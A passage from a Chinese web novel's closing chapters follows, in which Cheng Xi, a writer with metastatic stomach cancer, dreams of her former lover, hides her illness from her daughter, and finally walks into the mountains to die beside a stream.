离开医院后,程溪没有立马回家,而是去到环湖公园,在公园里的长椅上,一直做坐到女儿快放学才走。 其实早就有征兆了,她想。 去年年底开始食欲不振,她没当回事。女儿和倪云初问她怎么吃的越来越少,起初她说自己没胃口,后来懒得解释,直接说想减肥。 年初开始时不时犯恶心,她也没当回事。有时工作到深夜,写得兴奋了,很晚都睡不着,甚至熬到通宵。熬过夜后,的确会食欲不振犯恶心。她想着,有空多休息就好了。 可她不曾想过,自己停下来休息的时间,其实很少很少。 白天要接送孩子,做饭、做家务,还得工作。 晚上孩子睡了,夜深人静灵感爆发,她想多写一点,已写就写到深夜。 有时忙,有时累,一日三餐,经常不好好吃饭。 程溪闭上眼,回想过往种种,头一次如此的恨自己,恨自己不够爱惜自己…… 她在心里一遍一遍骂自己,骂着骂着就哭了,然后坐起来,屈膝紧紧地抱住自己。 她对自己说了很多句对不起。 她只是在竭尽全力地好好生活啊…… 竭尽全力将孩子照顾得很好,把家里收拾得很干净,把工作做到无愧于心…… 她那么那么努力地做好一切事,只是想对得起自己。 只是想不枉此生。 她又有什么错呢? 有些人抽烟喝酒一辈子,照样活到九十九,为什么偏偏是她有了肿瘤? 有些人苦了累了一辈子,照样健康长寿,为什么偏偏她就年纪轻轻倒霉成这样? 哭得累了,程溪躺下来,闭上眼睛,脑袋开始发晕,灵魂仿佛从身体中抽离,漂浮在半空,她感觉不太对劲,想睁开眼,不知怎么,连抬起眼皮的力气都没有,就这样半梦半醒间,魂魄飞了出去,穿过窗户,飘荡在这座小城的夜空。 飘啊飘,飘啊飘,飘到很远很远的地方,最后停在了一栋公寓楼前。 灵魂熟门熟路找到那扇窗户。 穿过窗户,她回到了那个自己曾经无比想要逃脱的房间。 那是一间大大的主卧,很久以前,她时常一个人待在这里,孤单地等着另一个人。 而如今,看着房间里的一切干净整洁,没有任何男士用品,她想,自己离开后,那个人彻底不回来了。 她穿过门,飘到旁边客房前,穿过房门来到房间。 原来那个人已经回来了,他只是不在主卧住,现在他正靠着床头,手里捧着一本书。 程溪飘到床前,弯腰凑近看了看,他手里的书是《围城》。 她想,幸亏当年他俩没结婚,要不然就成了困在围城里的人。 可转念又想,两个人若是真心相爱,困在围城又何妨? 程溪站直身子,目光落到男人脸上,发现这么些年,他好像没怎么变。 五官依然英俊,面部棱角分明,下巴上冒出了浅浅的胡茬,看上去倒是多了几分成熟沧桑。 他捧着书看得很认真,不知是不是看到了让他不太开心的内容,微微皱眉,连着翻了好几页,才又认真看起来。 程溪就这么默默地看着他,而他默默地看着书。 不知过了多久,他终于舍得将书合上,躺下,关了落地灯。 黑暗中,程溪依然能看见他。 他似乎有心事,眉心始终微微皱着,即便闭上了眼也没舒展开来。 好久他都没睡着,在床上辗转反侧,凌晨两点,他坐起来,靠在床头点燃一支烟,程溪失去了嗅觉,闻不到烟味,却能看见黑暗中的白雾。 他在淡淡白雾中,俊逸如仙。 凌晨三点,他再次躺下,这回没过多久就睡着了,呼吸变得匀净。 程溪在床边守了他一整夜。 直到天亮,阳光照在程溪脸上,她忽然感觉一阵眩晕,不由自主从房间飘了出去。 飘啊飘,飘啊飘,一路飘回在容今的这个小小的家。 程溪睁开眼,恍惚了片刻,四处看了看,坐起来,又低头看看自己。 她还是那个她,还在自己的家,身体还完完整整。 原来只是一场梦啊。 她多希望这不是梦,又很庆幸,这只是梦。 那个从未放下过的人,在梦里见一见,也是好的。 也已足够了。 程溪起床洗漱,扎了个高高的马尾,想让自己看起来精神些。 她给女儿做好早饭,去房间叫她起床,女儿穿好衣服出来,她笑着说:“妙妙学习这么自觉,妈妈真的好高兴,昨天都没好好夸你呢,来,让妈妈抱一下!” 她走到女儿身边,紧紧抱住孩子,身体不住地轻轻发颤。 程妙瑾觉察到不对劲,问:“妈妈,你哭了?” 程溪摇头。 程妙瑾看着她的脸:“你眼睛都红了……” 程溪仍是摇头,强扯出一个笑:“因为妈妈太高兴了,妈妈为你感到自豪。” 程妙瑾还想说什么,被她催着去吃早饭,只要把话憋了回去。 见程溪什么也不吃,程妙瑾生气:“你怎么又不吃早饭?!” 程溪撒了个谎:“昨晚没吃东西,今早起来太饿了,提前吃了。” 程妙瑾信以为真,没再说什么。 送完女儿去学校,程溪没有回家,直接去往医院。 【END】 第64章 似他如水东流。…… 二零二二年八月二十六日。程溪没有迎来她的三十五岁。 一个月前, 也就是七月二十六日,程溪做出一个决定。 自从胃部的肿瘤检查出是恶性,她与疾病唯一的抗争便是吃药。医生建议她,如果决定手术, 要尽快行动, 越往后拖, 病情恶化得越快。 她问医生,如果手术成功, 大概能活多少年,医生说这跟患者体质有关, 而她的癌细胞已经转移扩散,生存期一般是五年左右。 那次从医院回来, 程溪问了自己无数遍这个问题——如果手术成功了,接下来的五年自己,要怎么过? 很快, 她发现这是个伪命题。 因为自己要怎么过,取决于自己的状态如何。而状态可以分为心理状态和生理状态, 生理状态好, 心理状态也好。当然是最好。 生理状态好,心理状态不好, 勉强活着, 很没劲。 如果生理和心理状态都不好, 那简直生不如死。 一直以来, 程溪自认为自己是个乐观坚强的人。她早就想明白了一件事——一切都是选择。 在无数的艰难险阻面前,她选择做坚韧的、烧不尽的杂草。 想清楚了那个伪命题后,程溪做了另一种选择——过往选择的反面。 她选择逃避,选择怯懦。 她允许自己做一次脆弱的人。 她在一个夜深人静的时刻, 靠在床头,轻轻抱住自己,对自己说:“没关系,逃避也没关系,怯懦也没关系,谁说人永远只能选择坚强。” 命运似乎总是一次又一次刁难她。 以往每一次,她都选择硬刚,昂首挺胸,腰板挺得老直。 而这一次,她终于屈膝,跪倒在地。 脊背挺直太久,也是很累的。 她想起自己在日记本扉页写的那句出自泰戈尔的名言—— “世界以痛吻我,要我报之以歌。” 过去,她总是擦干眼泪以歌报痛,这一次,她选择沉默。 既然无法咒骂命运,那就沉默吧。 病魔太强大,这一仗实在难打,那就投降吧。 “没关系,”她抱着自己,流着泪在心里告诉自己,“没关系的,战士投降并不可耻,尤其是孤军奋战的战士。” 她这一辈子,是一部反抗命运的血泪史。这部血泪史,比她写过的任何故事都要精彩。 了一个梦。 她梦见自己走进一栋楼里,楼房老旧,没有电梯,她熟门熟路上了三楼,掏出钥匙打开左边那户的大门。 屋里的装修、家具与现实中完全不一样,程溪没住过这样的房子,然而在梦里,她知道这就是她的家。 她进家门脱鞋,脱下来的鞋用脚轻轻踢出去,左一只右一只。 厨房里飘来红烧肉的香气,程溪换上拖鞋,大喊:“妈妈,又给我做红烧肉啦!” 倪母的声音从厨房传来:“赶紧洗手过来盛饭!” 她蹦蹦跳跳去往厨房,倪父从卧室出来,笑眯眯伸出一只手,拦住她的路:“宝贝闺女回来啦!洗完手等着吧,爸爸去盛饭。” 她开心得摇头晃脑:“谢谢亲爱的老爸!” 原来在梦里,倪父倪母,成了她的爸爸妈妈。 父亲走进厨房,程溪听见母亲埋怨道:“你就惯着她!” 父亲声音里带着笑意:“自己女儿嘛,就该宠着。” 母亲:“都快把她宠坏了!” 父亲:“宠坏就宠坏,我宠我自己女儿怎么啦,犯法啊?” 母亲:“犯法倒是不犯法,那你把她宠出公主病,看她以后还怎么嫁人!” 父亲:“嫁不出去就嫁不出去,我养着她。” 母亲:“那你能养他一辈子呀?咱们在她前头走,你有没有想过,咱俩一没,她可怎么办?” 父亲:“那你可小瞧咱闺女了。咱闺女只是脾气大一点,性格冲一点,其他方面那可是一点不差,要颜值有颜值,要能力有能力,独立生活肯定没问题。” 母亲:“你确定她独立生活没问题?做饭我就不求她学了,可洗碗总要会吧。二十五的人了,洗个碗都费劲!” 父亲:“她自己有工作,咱俩要是没了,留给她的遗产也不少,到时候请个保姆就行了。存在即合理,保姆这种职业就是为咱家闺女量身定制的。” 父母手上端着饭菜双双出来,母亲瞥她一眼,将菜放在饭桌:“你尹阿姨儿子回来了,明天咱们一家上她家做客去。” 程溪在脑中搜索一番,皱了皱眉:“尹阿姨?哪个尹阿姨?” 母亲将饭碗哐当放她面前,又递给他一双筷子:“上回不是告诉过你吗,我出国去新马泰旅游那次,在旅行团里认识的新朋友。” 程溪想起来了,不久前母亲确实跟她说起过这人,但自己没当回事,左耳进右耳出,很快就忘了。 “尹阿姨那儿子可是高材生,普林斯顿的硕士!小时候一路跳级,22岁就从普林斯顿毕业了,回国先是在大厂待了两年,去年辞职单干,在京州开了家公司,听说势头很猛呢。 “你看看人家,跟你同岁,学识能力阅历,样样甩你十八条街。你再看看你自己,好吃懒做脾气冲,拿什么跟人家比?” 这话程溪听完满脸不高兴,撇了撇嘴:“对,我比不上人家,更配不上人家,那明天还上人家家里相亲干嘛?” 母亲语重心长:“知道自己配不上就谦虚点,别那么冲。去还是得去,万一人家眼瞎就相中你了呢?” 程溪默默翻了个白眼,往嘴里塞一块红烧肉,狠狠扒饭,化愤怒为食欲,一口气吃了三碗饭。 吃完饭,母亲撵着她去洗碗,父亲想帮忙,被母亲拦在厨房外。 程溪笨拙地洗着碗,母亲在旁边不停念叨。 “明天到了人家家,要讲规矩,懂礼貌,态度亲切友善,别让人家觉得咱家孩子没教养,听到了吗?哎呀,你水开小点儿,水这么大,水花到处溅,湿淋淋的真烦!” 程溪一下把水龙头关了,板着脸看向母亲:“我不去。” 母亲皱眉瞪她:“必须去!我都跟你尹阿姨说好了。” 程溪:“就不去!我都不知道他长什么样我就上赶着跟人相亲?他不是学霸吗,学霸很多都长得歪瓜裂枣——当然了,主要是男学霸,女学霸还是有很多美女的。” 母亲掏出手机点开微信,将屏幕怼到她眼前:“尹阿姨中午发来的照片,喏,你看,小伙多帅呀,这气质,这相貌,这身材,这大高个儿!配你那是绰绰有余!” 程溪盯着这张照片看了几秒,眯了眯眼,说:“这照片P过吧?不仅P了,还P过头了。他要真有这么帅,早就被娱乐公司抓去当练习生参加选秀了。” 母亲往上滑了滑,指着一句话,说:“看看,你尹阿姨说过,照片是原相机拍的,没有用任何美颜软件修过。” 程溪细眉一扬:“好吧,就算他真长这样,我俩也成不了。我呢,顶多有点小漂亮,他这种又高又帅又聪明的潜力股,看得上我?” 母亲又往下滑了滑,指着照片上男人的眼镜:“这不是近视眼嘛,而且读书这么厉害,搞不好是个书呆子,再加上眼神不好,万一偏偏就相中你呢?” 程溪不耐烦,打开水龙头接着洗碗:“哎呀我明天有事儿去不了。” 看出她在找借口推脱,母亲放下死命令:“去不了也得去,这么优秀的小伙子,必须先下手为强。你以为错过了这个以后还有大把这种男人供你选啊?想得不要太美!” 母亲撂下这话就走了,独留程溪一个人唉声叹气。 过了会儿父亲悄悄走进厨房,比了个手势,又冲她做出口型,程溪明白了,这是要帮她洗碗呢?。 她赶紧将手洗干净,甩了甩手上的水,抱一下父亲,笑着小声说道:“爸爸真好!” 蹑手蹑脚回到房间,程溪沾着床就跟没骨头似的,倒头就躺。 平躺着架起二郎腿,她脑海中浮现起母亲给自己看的那张照片。 该说不说,小伙长得真帅,又是普林斯顿高材生,这已经是她在择偶市场能遇到的天花板人选了,要不就去看看? 程溪翻了个身,转念又想,这么优秀的男人,二十五岁了,居然还单着,肯定有什么巨大短板。 难道是个赌狗? 又或者,年纪轻轻就不举了? 算了算了,还是别见面了,这人真要是有什么大短板,万一缠上她,以后麻烦可就大了。 正浮想联翩,窗外忽然来了只大鸟,奋力地用身体撞击窗户玻璃。 砰——砰——砰! 程溪猛地从睡梦中清醒。 大脑空白了一瞬,她茫然四顾,随即反应过来,刚才那一切,不过是一场梦。 又是一场梦。 又在梦里看见了周衍东。 程溪想起梦中倪母给自己看的照片,照片上,周衍东戴着眼镜,斯斯文文站在图书馆前。 她仔细回忆梦中每一个场景。 梦里的一切都太逼真,仿佛在另一平行世界,上演着属于他们的另一个故事。 在那个世界里,周衍东是来自普通家庭的创业海归,而她,是来自普通家庭的无名废柴,妈妈刀子嘴豆腐心,爸爸把她宠成了公主病…… 那个世界里,他们的故事未完待续。 这个世界里,他们的故事早已剧终。 程溪越来越瘦,她拿减肥当幌子,为了遮盖气色黯淡的面孔,不得不每天都化妆,起初她嫌化妆麻烦,后来倒是挺喜欢化妆的。 七月中期,她快瘦脱了像,每天花在化妆上的时间变多了,还会学习各种化妆视频,努力遮掩开始凹陷的面庞。 女儿见她瘦成这样,表示担忧,逼着她多吃东西,她为了不露馅,假装生气,凶巴巴埋怨女儿故意阻拦她变美。 看着女儿委屈的神情,程溪心都快碎了,可她只能硬着心肠回房间,用力摔门,装出怒火攻心的样子。 其实她早已没什么力气,即便使出全力去摔门,门也发不出多大声响,而她自己反倒是气喘吁吁。 头晕目眩走到床边,程溪倒在床上,脸埋进枕头里,失声痛哭。 她好痛……浑身上下,哪里都好痛…… ,每一次呼吸,都像牵扯着一根插进心脏里的尖刺,尖刺在心脏中来回戳动,把她的心戳成了大窟窿,而这个大窟窿旁,其余地方也早已千疮百孔。 她哭得双眼红肿,连带着整张脸都开始浮肿,眼睛黯淡无光,没有血色的嘴唇干涸裂开,她起身,走到梳妆台前,看着镜子里的自己,妆已经被哭花,她看起来人不人鬼不鬼。 她无声扯了扯唇角,笑了。 肉身还没死,倒是先当起鬼来。 疼痛再次蔓延,从胃部传到四肢百骸,她虚弱地撑在梳妆台上,脚下一滑,整个人摔倒在地。 她蜷缩成一团,不知怎么,似乎疼出了幻觉,竟像是回到了母亲的子宫,以蜷缩的姿态退行成了婴儿。 周围一切变得模糊,世界是黑色的世界。 她就这么蜷着身子躺了不知多久,如同做了一场梦,恢复意识时,身体又有了一点力气。 她匍匐着爬到床头柜前,抖着手拉开抽屉,从里面拿出药瓶。 几种小小的药片成为她活下去的救命稻草。 她仰起头,把药片全塞进嘴里,硬生生往下咽。 药片卡在嗓子眼儿,实在是干,她吞不下去,双臂撑在床上,费了好些力气站起来,跌跌撞撞走到门口,打开门,听见厨房有炒菜声,才敢出门去客厅倒水。 程溪一手握着杯子,一手捂着胃,缓缓往回走,路过厨房外,看着女儿在里面忙活的背影,鼻子发酸,眼泪止不住往外冒。 回到房间,她把卧室门反锁,挪着步子走到梳妆台前,鼓起勇气又看了看镜中的自己,再次被自己吓到。 绝不能让女儿看见自己这幅模样,绝不。 她宁愿一个人孤独地死去,也不要女儿眼睁睁看着她形容枯槁,更不要女儿陪着她一起等死。 就算做了手术,就算手术成功,多活的那几年,真的就能用来享受人生点点滴滴的美好吗? 只怕会让自己和女儿都活得每分每秒都活得心惊胆战吧…… 她承认自己就是个懦夫,没有勇气看女儿心碎的样子,更没有勇气面对永别…… 七月二十八日,在程溪做出那个决定的第三天,她在那本写了多年的日记上,写下了三个字——“别找我”,并把日记本和解锁的钥匙,放进床头柜抽屉里。 她的女儿如此聪明,她相信女儿一定能通过日记中的信息,找到自己亲生父亲。 无论是相貌还是性格,妙妙都太像周衍东了。 如今周衍东已经在商界站稳脚跟,妙妙回去找他,未必是件坏事。相比起来,周衍东能给女儿的,可比她能给的要多得多。 程溪离开家时,什么也没带。 她知道自己要去哪儿,去到那里不需要一分钱。 她沿着路一直走一直走,大路小路都走,进了山,又走了很久很久,走进深山处。 太阳西沉,天边悬着半轮深橘色红日,在雾蒙蒙的暗铅色空中,如同半个燃烧的火轮。 程溪走也动了,坐在半山腰,靠在一颗大树上,盯着远方的火轮,直到它完全隐没在另一座山头。 小时候,程溪一个人爬到山上捡柴,小小的肩膀扛着大大一捆柴,天亮上山,天黑下山。 有一回,途中遇上一伙人,几个学生跟着一个老师,看样子像是地质学院的老师带着学生来实地考察——长大后程溪回想起来得出的推断。 那位年近半百的老师看见她,十分惊讶,问她多大了,她说七岁,老师又问她父母呢,她说爸爸在地里干活,妈妈在家带弟弟。 老师叹了口气,说:“你爸妈胆子可真大,也不怕你被人贩子拐跑。” 学生们纷纷从包里掏出好多零食,塞进她衣服兜里,临走前,一个大姐姐温柔地摸摸她的头,笑中带泪告诉她:“小妹妹,一定要好好学习,加油读书,考上大学离开这里,以后就再也不用上山捡柴了。” 她懵懵懂懂点头,看着大姐姐眼角滚落泪珠,那时候太小,不懂大姐姐为什么哭。 后来再大一点,程溪终于懂了。 像她这种女孩,只有读书,好好读书,才能从山里走出来啊。 她早已不是程家的孩子,可她依然是大山的孩子。 程家带给她的只有痛苦,可家乡那一座座大山,抚慰了她孤寂的童年。 她从山里来,如今,又回到山里去。 夜幕降临,她靠在大树上,闭着眼,想象自己回到了家乡,爬到山上,正靠着那棵熟悉的大树。 妈妈,妈妈,我回来啦……她在心中呼喊。 对尹岚,对倪母,对家乡那颗熟悉的大树。 晚风抚过她的脸,如同她们温柔的手掌。 程溪睡着了,一觉醒来,夜色更浓。 她没有表和手机,不知道几点,也不想知道。 这一觉缓解了身体的疲惫,她扶着大树起身,缓了缓发麻的双腿,继续前行在山中前行,越走越深。 她忽然发现,其实这一次,自己并不懦弱,反倒比以往还勇敢。 深山里不乏虫蛇鸟兽,她竟一点不爬。 虫鸣鸟啼,蛇嘶兽吼,在她听来都是大自然和谐的乐章。 她不止一次感受到一种种世俗认为的危险活物在盯着她,然而万物有灵,就连它们都不忍欺负她。 她走啊走,走啊走,双脚走出水泡,膝盖开始发疼,仍停不下步子。 她越走越高兴,越走越有劲,疾病似乎奇迹般自愈,她满心愉悦,浑身有力。 漫无目的爬过一个个小坡,程溪来到一片平缓的山林,天边曙光乍现。 曙光在淡淡的雾气中照亮这片山林,四周静谧而美好,宛如童话世界。 程溪惊喜地发现,一条小溪蜿蜒流过。 她小跑着来到小溪旁,脱掉鞋子,挽起裤腿,双脚踩进溪流中,溪水没过脚踝。 程溪脚底有水泡,然而此时此刻,她完全感觉不到疼痛,冰凉的溪水甚至带来了温暖的触感。 她俯身,双手聚拢捧起溪水往空中扬,水滴在空中绽放,散落,透过曙光,璀璨如钻石。 她像个孩子似的,自顾自戏水嬉闹,苍白面孔上,浮现孩童般纯真的笑。 玩得实在是累,她终于舍得停下,走出溪流,在流水旁坐了一会儿,越发觉得疲惫,索性躺下。 耳边传来溪水流淌的声音,如此欢快雀跃,如同她方才玩乐的欢笑声。 太阳照常升起,阳光散落在她脸上,暖洋洋。 她眯着眼,望着空中一轮红日,感受着它散发出的无线能量。 光芒从头顶灌入,流经心脏,四肢,汇入脚底。 她身体开始微微发热,心口暖得像是有个小火炉烤着。 阳光越来越强,晃得她睁不开眼,她索性将双眼闭上。 溪水仍在欢笑,似乎高兴地赶着东流入海。 沉睡前一秒,她想起了自己写下的那个故事,那本近期即将上市的小说——《似他如水东流》。 ==正文完==